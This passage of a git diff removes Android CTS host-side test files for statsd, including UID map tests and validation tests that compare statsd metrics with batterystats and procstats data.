- // atoms so return to top of while loop.
- startIndex += sizetBytes;
- continue;
- }
- assertThat(output.length).isAtLeast(startIndex + sizetBytes + dataLength);
-
- ShellDataProto.ShellData data = null;
- try {
- int dataStart = startIndex + sizetBytes;
- int dataEnd = dataStart + dataLength;
- data = ShellDataProto.ShellData.parseFrom(
- Arrays.copyOfRange(output, dataStart, dataEnd));
- } catch (InvalidProtocolBufferException e) {
- fail("Failed to parse proto");
- }
-
- assertThat(data.getAtomCount()).isEqualTo(1);
- assertThat(data.getAtom(0).hasSystemUptime()).isTrue();
- assertThat(data.getAtom(0).getSystemUptime().getUptimeMillis()).isGreaterThan(0L);
- atomCount++;
- startIndex += sizetBytes + dataLength;
- }
- assertThat(atomCount).isGreaterThan(0);
- }
-
- // Converts the bytes in range [startIndex, startIndex + sizetBytes) from a little-endian array
- // into an integer. Even though sizetBytes could be greater than 4, we assume that the result
- // will fit within an int.
- private int readSizetFromByteArray(byte[] arr, int startIndex) {
- int value = 0;
- for (int j = 0; j < sizetBytes; j++) {
- value += ((int) arr[j + startIndex] & 0xffL) << (8 * j);
- }
- return value;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
deleted file mode 100644
index 4ceefa7..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.uidmap;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.UidMapping;
-import com.android.os.StatsLog.UidMapping.PackageInfoSnapshot;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-public class UidMapTests extends DeviceAtomTestCase {
-
- // Tests that every report has at least one snapshot.
- public void testUidSnapshotIncluded() throws Exception {
- // There should be at least the test app installed during the test setup.
- createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-
- ConfigMetricsReportList reports = getReportList();
- assertThat(reports.getReportsCount()).isGreaterThan(0);
-
- for (ConfigMetricsReport report : reports.getReportsList()) {
- UidMapping uidmap = report.getUidMap();
- assertThat(uidmap.getSnapshotsCount()).isGreaterThan(0);
- for (PackageInfoSnapshot snapshot : uidmap.getSnapshotsList()) {
- // There must be at least one element in each snapshot (at least one package is
- // installed).
- assertThat(snapshot.getPackageInfoCount()).isGreaterThan(0);
- }
- }
- }
-
- private boolean hasMatchingChange(UidMapping uidmap, int uid, boolean expectDeletion) {
- LogUtil.CLog.d("The uid we are looking for is " + uid);
- for (UidMapping.Change change : uidmap.getChangesList()) {
- if (change.getAppHash() == DEVICE_SIDE_TEST_PKG_HASH && change.getUid() == uid) {
- if (change.getDeletion() == expectDeletion) {
- return true;
- }
- }
- }
- return false;
- }
-
- // Tests that delta event included during app installation.
- public void testChangeFromInstallation() throws Exception {
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
- // Install the package after the config is sent to statsd. The uid map is not guaranteed to
- // be updated if there's no config in statsd.
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- final String result = getDevice().installPackage(
- buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
-
- Thread.sleep(WAIT_TIME_LONG);
-
- ConfigMetricsReportList reports = getReportList();
- assertThat(reports.getReportsCount()).isGreaterThan(0);
-
- boolean found = false;
- int uid = getUid();
- for (ConfigMetricsReport report : reports.getReportsList()) {
- LogUtil.CLog.d("Got the following report: \n" + report.toString());
- if (hasMatchingChange(report.getUidMap(), uid, false)) {
- found = true;
- }
- }
- assertThat(found).isTrue();
- }
-
- // We check that a re-installation gives a change event (similar to an app upgrade).
- public void testChangeFromReinstall() throws Exception {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
- createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
- // Now enable re-installation.
- getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
-
- Thread.sleep(WAIT_TIME_LONG);
-
- ConfigMetricsReportList reports = getReportList();
- assertThat(reports.getReportsCount()).isGreaterThan(0);
-
- boolean found = false;
- int uid = getUid();
- for (ConfigMetricsReport report : reports.getReportsList()) {
- LogUtil.CLog.d("Got the following report: \n" + report.toString());
- if (hasMatchingChange(report.getUidMap(), uid, false)) {
- found = true;
- }
- }
- assertThat(found).isTrue();
- }
-
- public void testChangeFromUninstall() throws Exception {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
- createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
- int uid = getUid();
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-
- Thread.sleep(WAIT_TIME_LONG);
-
- ConfigMetricsReportList reports = getReportList();
- assertThat(reports.getReportsCount()).isGreaterThan(0);
-
- boolean found = false;
- for (ConfigMetricsReport report : reports.getReportsList()) {
- LogUtil.CLog.d("Got the following report: \n" + report.toString());
- if (hasMatchingChange(report.getUidMap(), uid, true)) {
- found = true;
- }
- }
- assertThat(found).isTrue();
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
deleted file mode 100644
index 125a32a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Package;
-import android.os.UidProto.Package.Service;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class BatteryStatsValidationTests extends DeviceAtomTestCase {
-
- private static final String TAG = "Statsd.BatteryStatsValidationTests";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- resetBatteryStatus();
- unplugDevice();
- }
-
- @Override
- protected void tearDown() throws Exception {
- plugInUsb();
- super.tearDown();
- }
-
- /*
- public void testConnectivityStateChange() throws Exception {
- if (!hasFeature(FEATURE_WIFI, true)) return;
- if (!hasFeature(FEATURE_WATCH, false)) return;
- if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
- final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_SHORT);
-
- turnOnAirplaneMode();
- turnOffAirplaneMode();
- // wait for long enough for device to restore connection
- Thread.sleep(13_000);
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- List<CountMetricData> countMetricData = getCountMetricDataList();
- assertThat(countMetricData).hasSize(1);
- assertThat(countMetricData.get(0).getBucketInfoCount()).isEqualTo(1);
- assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isAtLeast(2L);
- assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isEqualTo(
- (long) batterystatsProto.getSystem().getMisc().getNumConnectivityChanges());
- }
- */
-
- public void testPowerUse() throws Exception {
- if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
- resetBatteryStats();
- unplugDevice();
-
- final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.7; // ratio that statsd and bs can differ
-
- StatsdConfig.Builder config = createConfigBuilder();
- addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
- uploadConfig(config);
- unplugDevice();
-
- Thread.sleep(WAIT_TIME_LONG);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
- Thread.sleep(WAIT_TIME_LONG);
-
- setAppBreadcrumbPredicate();
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- Thread.sleep(WAIT_TIME_LONG);
- List<Atom> atomList = getGaugeMetricDataList();
-
- // Extract statsd data
- Atom atom = atomList.get(0);
- long statsdPowerNas = atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs();
- assertThat(statsdPowerNas).isGreaterThan(0L);
-
- // Extract BatteryStats data
- double bsPowerNas = batterystatsProto.getSystem().getPowerUseSummary().getComputedPowerMah()
- * 1_000_000L * 3600L; /* mAh to nAs */
- assertThat(bsPowerNas).isGreaterThan(0d);
-
- assertThat((double) statsdPowerNas)
- .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
- assertThat(bsPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
- }
-
- public void testServiceStartCount() throws Exception {
- final String fileName = "BATTERYSTATS_SERVICE_START_COUNT.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_SHORT);
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- List<CountMetricData> countMetricData = getCountMetricDataList();
- assertThat(countMetricData).isNotEmpty();
- int uid = getUid();
- long countFromStatsd = 0;
- for (CountMetricData data : countMetricData) {
- List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
- if (dims.get(0).getValueInt() == uid) {
- assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
- assertThat(dims.get(2).getValueStr())
- .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
- countFromStatsd = data.getBucketInfo(0).getCount();
- assertThat(countFromStatsd).isGreaterThan(0L);
- }
- }
- long countFromBS = 0;
- for (UidProto uidProto : batterystatsProto.getUidsList()) {
- if (uidProto.getUid() == uid) {
- for (Package pkg : uidProto.getPackagesList()) {
- if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
- for (Service svc : pkg.getServicesList()) {
- if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
- countFromBS = svc.getStartCount();
- assertThat(countFromBS).isGreaterThan(0L);
- }
- }
- }
- }
- }
- }
- assertThat(countFromStatsd).isGreaterThan(0L);
- assertThat(countFromBS).isGreaterThan(0L);
- assertThat(countFromBS).isEqualTo(countFromStatsd);
- }
-
- public void testServiceLaunchCount() throws Exception {
- final String fileName = "BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_SHORT);
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- List<CountMetricData> countMetricData = getCountMetricDataList();
- assertThat(countMetricData).isNotEmpty();
- int uid = getUid();
- long countFromStatsd = 0;
- for (CountMetricData data : countMetricData) {
- List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
- if (dims.get(0).getValueInt() == uid) {
- assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
- assertThat(dims.get(2).getValueStr())
- .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
- countFromStatsd = data.getBucketInfo(0).getCount();
- assertThat(countFromStatsd).isGreaterThan(0L);
- }
- }
- long countFromBS = 0;
- for (UidProto uidProto : batterystatsProto.getUidsList()) {
- if (uidProto.getUid() == uid) {
- for (Package pkg : uidProto.getPackagesList()) {
- if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
- for (Service svc : pkg.getServicesList()) {
- if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
- countFromBS = svc.getLaunchCount();
- assertThat(countFromBS).isGreaterThan(0L);
- }
- }
- }
- }
- }
- }
- assertThat(countFromStatsd).isGreaterThan(0L);
- assertThat(countFromBS).isGreaterThan(0L);
- assertThat(countFromBS).isEqualTo(countFromStatsd);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java b/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
deleted file mode 100644
index 37ded0b..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-/**
- * Tests Suite for directories used by Statsd.
- */
-public class DirectoryValidationTest extends DeviceAtomTestCase {
-
- public void testStatsActiveMetricDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testStatsActiveMetricDirectoryExists");
- }
-
- public void testStatsDataDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testStatsDataDirectoryExists");
- }
-
- public void testStatsMetadataDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testStatsMetadataDirectoryExists");
- }
-
- public void testStatsServiceDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testStatsServiceDirectoryExists");
- }
-
- public void testTrainInfoDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testTrainInfoDirectoryExists");
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
deleted file mode 100644
index 5b42aa9..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ /dev/null
@@ -1,306 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.ProcStateTestCase;
-import android.service.procstats.ProcessState;
-import android.service.procstats.AggregatedProcessState;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStateAggregated;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and procstats.
- */
-public class ProcStatsValidationTests extends ProcStateTestCase {
-
- private static final String TAG = "Statsd.ProcStatsValidationTests";
-
- private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
-
- public void testProcessStatePssValue() throws Exception {
- final String fileName = "PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
- clearProcStats();
- toggleScreenAndSleep(WAIT_TIME_SHORT);
-
- // foreground service
- executeForegroundService();
- toggleScreenAndSleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
- // background
- executeBackgroundService(ACTION_BACKGROUND_SLEEP);
- toggleScreenAndSleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
- // top
- executeForegroundActivity(ACTION_LONG_SLEEP_WHILE_TOP);
- toggleScreenAndSleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
- // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
- executeBackgroundService(ACTION_END_IMMEDIATELY);
- final int cacheTime = 2_000; // process should be in cached state for up to this long
- toggleScreenAndSleep(cacheTime);
- // foreground
- // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
- executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
- toggleScreenAndSleep(EXTRA_WAIT_TIME_MS + 5_000);
-
- // Sorted list of events in order in which they occurred.
- List<ValueMetricData> statsdData = getValueMetricDataList();
-
- List<ProcessStatsProto> processStatsProtoList = getProcStatsProto();
-
- LogUtil.CLog.d("======================");
-
- String statsdPkgName = "com.android.server.cts.device.statsd";
- double valueInStatsd = 0;
- for (ValueMetricData d : statsdData) {
- List<DimensionsValue> dimensionsValuesInWhat = d.getDimensionLeafValuesInWhatList();
- if (dimensionsValuesInWhat.get(0).getValueStr().equals(statsdPkgName)
- && dimensionsValuesInWhat.get(1).getValueStr().equals(statsdPkgName)) {
- LogUtil.CLog.d(d.toString());
- for (ValueBucketInfo bucket : d.getBucketInfoList()) {
- valueInStatsd = Math.max(bucket.getValues(0).getValueLong(), valueInStatsd);
- }
- }
- }
-
- double valueInProcStats = 0;
- for (ProcessStatsProto p : processStatsProtoList) {
- if (p.getProcess().equals(statsdPkgName)) {
- LogUtil.CLog.d(p.toString());
- for (ProcessStatsStateProto s : p.getStatesList()) {
- valueInProcStats = Math.max(s.getPss().getMax(), valueInProcStats);
- }
- }
- }
- assertThat(valueInProcStats).isGreaterThan(0d);
- assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
- }
-
- private void toggleScreenAndSleep(final long duration) throws Exception {
- final long half = duration >> 1;
- Thread.sleep(half);
- turnScreenOff();
- Thread.sleep(half);
- turnScreenOn();
- }
-
- public void testProcessStateByPulling() throws Exception {
- startProcStatsTesting();
- clearProcStats();
- Thread.sleep(WAIT_TIME_SHORT);
-
- // foreground service
- executeForegroundService();
- Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
- // background
- executeBackgroundService(ACTION_BACKGROUND_SLEEP);
- Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
- // top
- executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
- Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
- // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
- executeBackgroundService(ACTION_END_IMMEDIATELY);
- final int cacheTime = 2_000; // process should be in cached state for up to this long
- Thread.sleep(cacheTime);
- // foreground
- // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
- executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
- Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
- Thread.sleep(60_000);
- uninstallPackage();
- stopProcStatsTesting();
- commitProcStatsToDisk();
- Thread.sleep(WAIT_TIME_SHORT);
-
- final String fileName = "PROCSTATSQ_PULL.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
- Thread.sleep(WAIT_TIME_SHORT);
- setAppBreadcrumbPredicate();
- Thread.sleep(WAIT_TIME_SHORT + 5_000);
-
- List<Atom> statsdData = getGaugeMetricDataList();
-
- List<android.service.procstats.ProcessStatsProto> processStatsProtoList
- = getAllProcStatsProtoForStatsd();
-
- // We pull directly from ProcessStatsService, so not necessary to compare every field.
- // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
- LogUtil.CLog.d("======================");
-
- String statsdPkgName = "com.android.server.cts.device.statsd";
- long rssAvgStatsd = 0;
- for (Atom d : statsdData) {
- for (ProcessStatsProto proc : d.getProcStats().getProcStatsSection().getProcessStatsList()) {
- if (proc.getProcess().equals(statsdPkgName)) {
- LogUtil.CLog.d("Got proto from statsd:");
- LogUtil.CLog.d(proc.toString());
- for (ProcessStatsStateProto state : proc.getStatesList()) {
- if (state.getProcessStateAggregated()
- == ProcessStateAggregated.PROCESS_STATE_IMPORTANT_FOREGROUND) {
- rssAvgStatsd = state.getRss().getMeanKb();
- }
- }
- }
- }
- }
-
- long rssAvgProcstats = 0;
- for (android.service.procstats.ProcessStatsProto process: processStatsProtoList) {
- if (process.getProcess().equals(statsdPkgName)) {
- LogUtil.CLog.d("Got proto from procstats dumpsys:");
- LogUtil.CLog.d(process.toString());
- for (android.service.procstats.ProcessStatsStateProto state
- : process.getStatesList()) {
- if (AggregatedProcessState.AGGREGATED_PROCESS_STATE_IMPORTANT_FOREGROUND
- == state.getProcessStateAggregated()) {
- rssAvgProcstats = state.getRss().getMeanKb();
- break;
- }
- }
- }
- }
-
- assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
- }
-
- public void testProcStatsPkgProcStats() throws Exception {
- /**
- * Temporarily disable this test as the proc stats data being pulled into the statsd
- * doesn't include the pkg part now.
- *
- startProcStatsTesting();
- clearProcStats();
- Thread.sleep(WAIT_TIME_SHORT);
-
- // foreground service
- executeForegroundService();
- Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
- // background
- executeBackgroundService(ACTION_BACKGROUND_SLEEP);
- Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
- // top
- executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
- Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
- // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
- executeBackgroundService(ACTION_END_IMMEDIATELY);
- final int cacheTime = 2_000; // process should be in cached state for up to this long
- Thread.sleep(cacheTime);
- // foreground
- // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
- executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
- Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
- Thread.sleep(60_000);
- uninstallPackage();
- stopProcStatsTesting();
- commitProcStatsToDisk();
- Thread.sleep(WAIT_TIME_SHORT);
-
- final String fileName = "PROCSTATSQ_PULL_PKG_PROC.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
- Thread.sleep(WAIT_TIME_SHORT);
- setAppBreadcrumbPredicate();
- Thread.sleep(WAIT_TIME_SHORT);
-
- List<Atom> statsdData = getGaugeMetricDataList();
- assertThat(statsdData).isNotEmpty();
- assertThat(
- statsdData.get(0).getProcStatsPkgProc().getProcStatsSection()
- .getProcessStatsList()
- ).isNotEmpty();
-
- // We pull directly from ProcessStatsService, so not necessary to compare every field.
- // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
- LogUtil.CLog.d("======================");
-
- String statsdPkgName = "com.android.server.cts.device.statsd";
- long rssAvgStatsd = 0;
- long durationStatsd = 0;
- for (Atom d : statsdData) {
- for (ProcessStatsPackageProto pkg : d.getProcStatsPkgProc().getProcStatsSection().getPackageStatsList()) {
- if (pkg.getPackage().equals(statsdPkgName)) {
- LogUtil.CLog.d("Got proto from statsd:");
- LogUtil.CLog.d(pkg.toString());
- for (ProcessStatsProto process : pkg.getProcessStatsList()) {
- for (ProcessStatsStateProto state : process.getStatesList()) {
- if (state.getProcessState()
- == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
- durationStatsd = state.getDurationMillis();
- rssAvgStatsd = state.getRss().getAverage();
- }
- }
- }
- }
- assertThat(pkg.getServiceStatsCount()).isEqualTo(0L);
- assertThat(pkg.getAssociationStatsCount()).isEqualTo(0L);
- }
- }
-
- LogUtil.CLog.d("avg rss from statsd is " + rssAvgStatsd);
-
- List<ProcessStatsPackageProto> processStatsPackageProtoList = getAllProcStatsProto();
-
- long pssAvgProcstats = 0;
- long ussAvgProcstats = 0;
- long rssAvgProcstats = 0;
- long durationProcstats = 0;
- int serviceStatsCount = 0;
- int associationStatsCount = 0;
- for (ProcessStatsPackageProto pkg : processStatsPackageProtoList) {
- if (pkg.getPackage().equals(statsdPkgName)) {
- LogUtil.CLog.d("Got proto from procstats dumpsys:");
- LogUtil.CLog.d(pkg.toString());
- for (ProcessStatsProto process : pkg.getProcessStatsList()) {
- for (ProcessStatsStateProto state : process.getStatesList()) {
- if (state.getProcessState()
- == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
- durationProcstats = state.getDurationMillis();
- pssAvgProcstats = state.getPss().getAverage();
- ussAvgProcstats = state.getUss().getAverage();
- rssAvgProcstats = state.getRss().getAverage();
- }
- }
- }
- }
- serviceStatsCount += pkg.getServiceStatsCount();
- associationStatsCount += pkg.getAssociationStatsCount();
- }
- assertThat(serviceStatsCount).isGreaterThan(0);
- assertThat(associationStatsCount).isGreaterThan(0);
-
- LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
- assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
- */
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
deleted file mode 100644
index d3e5bad..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.BaseTestCase;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.FileUtil;
-
-import com.google.protobuf.TextFormat;
-import com.google.protobuf.TextFormat.ParseException;
-
-import java.io.File;
-import java.io.IOException;
-
-public class ValidationTestUtil extends BaseTestCase {
-
- private static final String TAG = "Statsd.ValidationTestUtil";
-
- public StatsdConfig getConfig(String fileName) throws IOException {
- try {
- // TODO: Ideally, we should use real metrics that are also pushed to the fleet.
- File configFile = getBuildHelper().getTestFile(fileName);
- String configStr = FileUtil.readStringFromFile(configFile);
- StatsdConfig.Builder builder = StatsdConfig.newBuilder();
- TextFormat.merge(configStr, builder);
- return builder.build();
- } catch (ParseException e) {
- LogUtil.CLog.e(
- "Failed to parse the config! line: " + e.getLine() + " col: " + e.getColumn(),
- e);
- }
- return null;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
deleted file mode 100644
index 3e2de0a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ /dev/null
@@ -1,675 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
